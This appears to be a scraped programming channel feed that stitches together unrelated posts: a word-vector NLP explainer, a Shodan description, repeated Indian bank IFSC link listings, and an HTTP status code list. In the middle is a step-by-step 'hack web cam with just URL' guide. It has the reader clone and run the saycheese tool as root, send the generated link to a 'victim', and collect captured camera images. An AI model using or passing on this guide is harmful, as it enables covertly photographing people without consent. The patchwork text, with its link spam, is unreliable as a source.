Example:

Man is to woman as king is to __________?
Meaning (king) – meaning (man) + meaning ( woman)=?
The answer is-  queen

​Here, we can easily co-relate because man is male gender and woman is female gender. In the same way, the king is masculine gender, and its female gender is queen.

​The answer is we learn this thinks through experience. However, here the main question is that how computer know about the same?

We need to provide enough data for Machines to learn through experience. We can feed details like

Her Majesty the Queen.
The Queen’s speech during the State visit
The crown of Queen Elizabeth
The Queens’s Mother
The queen is generous.

With above examples the machine understands the entity Queen.

The machine creates word vectors as below. A word vector is built using surrounding words.

The machine creates these vectors

As it learns from multiple datasets
Use Machine learning (e.g., Deep Learning algorithms)
A word vector is built using surrounding words.

Here is the formula:

Meaning (king) – meaning (man) + meaning (woman)=?

This amounts to performing simple algebraic operations on word vectors:

Vector ( king) – vector (man) + vector (woman)= vector(?)

To which the machine answers queen.

Next in this Natural language processing tutorial, we will learn about Components of NLP some other time.

First section simple enough ? 🤔

🔴🔰SHODAN: A Search engine for hackers🔰

🌀 Shodan is a search engine that lets the user find specific types of computers (web cams, routers, servers, etc.) connected to the internet using a variety of filters.

🌀 Shodan provides the simple and powerful searching and it provides it with ease.

🌀 If you have a basic account then it provides you only the limited number of results.

🌀 So, if you want to access it more then you have to upgrade it.

🌀 The premium features of Shodan includes plotting the host locations on maps, accessing the full search listings etc.

🌀 It also gives you a feature to search using filters. It makes your search even more easier.


───── 🎮📱🎮 ─────

🆔 @learn_programming_coding
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Find every indian banks' IFSC, MICR codes with address and contact number ⬇👇
https://indiaifsccodes.com/

Find every indian banks' IFSC, MICR codes with address and contact number ⬇️👇
https://indiaifsccodes.com/

Canara Bank: https://indiaifsccodes.com/branches.php?bank_name=CANARA-BANK&bank_id=19ca14e7ea6328a42e0eb13d585e4c22

Paytm Payments Bank: https://indiaifsccodes.com/branches.php?bank_name=PAYTM-PAYMENTS-BANK-LIMITED&bank_id=3988c7f88ebcb58c6ce932b957b6f332

Union Bank of India: https://indiaifsccodes.com/branches.php?bank_name=UNION-BANK-OF-INDIA&bank_id=979d472a84804b9f647bc185a877a8b5

Punjab National Bank: https://indiaifsccodes.com/branches.php?bank_name=PUNJAB-NATIONAL-BANK&bank_id=1385974ed5904a438616ff7bdb3f7439

Indian Bank: https://indiaifsccodes.com/branches.php?bank_name=INDIAN-BANK&bank_id=f033ab37c30201f73f142449d037028d

HDFC Bank: https://indiaifsccodes.com/branches.php?bank_name=HDFC-BANK&bank_id=32bb90e8976aab5298d5da10fe66f21d

State Bank Of India (SBI) : https://indiaifsccodes.com/branches.php?bank_name=STATE-BANK-OF-INDIA&bank_id=149e9677a5989fd342ae44213df68868

Bank Of Baroda: https://indiaifsccodes.com/branches.php?bank_name=BANK-OF-BARODA&bank_id=8e296a067a37563370ded05f5a3bf3ec

Hack camera:

🎩 HOW TO HACK WEB CAM WITH JUST URL 🎩
(Using Saycheese)
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
💠 REQUIREMENTS:-

✅ ROOTED ANDROID DEVICE or PC WITH LINUX or UBUNTY OPRATING SYSTEM
✅ Termux/Terminal

💠 STEP:-

✳️ Open termux
✳️ Type  pkg install git
✳️ Type git clone https://github. com/thelinuxchoice/saycheese

✳️ Type cd saycheese
✳️ (chmod +x *)

✳️ To give termux root permission install sudo by typping this command (pkg install sudo )

✳️ Run saycheese as root in termux.

✳️ sudo ./saycheese.sh

✳️  In kali linux you have to type bash ./saycheese.sh

✳️ Now type 2, and hit enter.

✳️ Copy the url and send it to the victume.

✳️ After successfully attack, just type ctrl+c to stop the script

✳️ Type ls to locate the current working directry .

🎩 There will be a lot of png image. To move this image to gallary or sdcard, Just type mv file name /sdcard for                example mv xyz.png /sdcard
➖➖➖➖➖➖➖➖➖➖➖➖➖

🔰 What does HTTP Response Status Code Says? 🔰

List Of Most Commonly Shown Status Code Along With Their Saying👇

100 : Continue
101 : Switching Protocol
102: Processing (WebDAV)
103 : Early Hints
200: OK
201 : Created
202 : Accepted
203 : Non-Authoritative Information
204 : No Content
205 : Reset Content
206 : Partial Content
207 : Multi-Status (WebDAV)
208 : Already Reported (WebDAV)
226 : IM Used (HTTP Delta encoding)
300 : Multiple Choice
301 : Moved Permanently
302 : Found
303 : See Other
304 : Not Modified
305 : Use Proxy
306 : unused
307 : Temporary Redirect
308 : Permanent Redirect
400 : Bad Request
401 : Unauthorized
402 : Payment Required .
403 : Forbidden
404 : Not Found
405 : Method Not Allowed
406 : Not Acceptable
407 : Proxy Authentication Required
408 : Request Timeout
409 : Conflict
410 : Gone
411 : Length Required
412 : Precondition Failed
413 : Payload Too Large
414 : URI Too Long
415 : Unsupported Media Type
416 : Range Not Satisfiable
417 : Expectation Failed
418 : I'm a teapot
421 : Misdirected Request
422 : Unprocessable Entity (WebDAV)
423 : Locked (WebDAV)
424 : Failed Dependency (WebDAV)
425 : Too Early
426 : Upgrade Required
428 : Precondition Required
429 : Too Many Requests
431 : Request Header Fields Too Large
451 : Unavailable For Legal Reasons
500 : Internal Server Error
501 : Not Implemented
502 : Bad Gateway
503 : Service Unavailable
504 : Gateway Timeout
505 : HTTP Version Not Supported
506 : Variant Also Negotiates
507 : Insufficient Storage (WebDAV)
508 : Loop Detected (WebDAV)
510 : Not Extended
511 : Network Authentication Required

HTTP Response Status Codes Indicates Whether A Specific HTTP Request Has Been Successfully Completed

➖@learn_programming_coding➖

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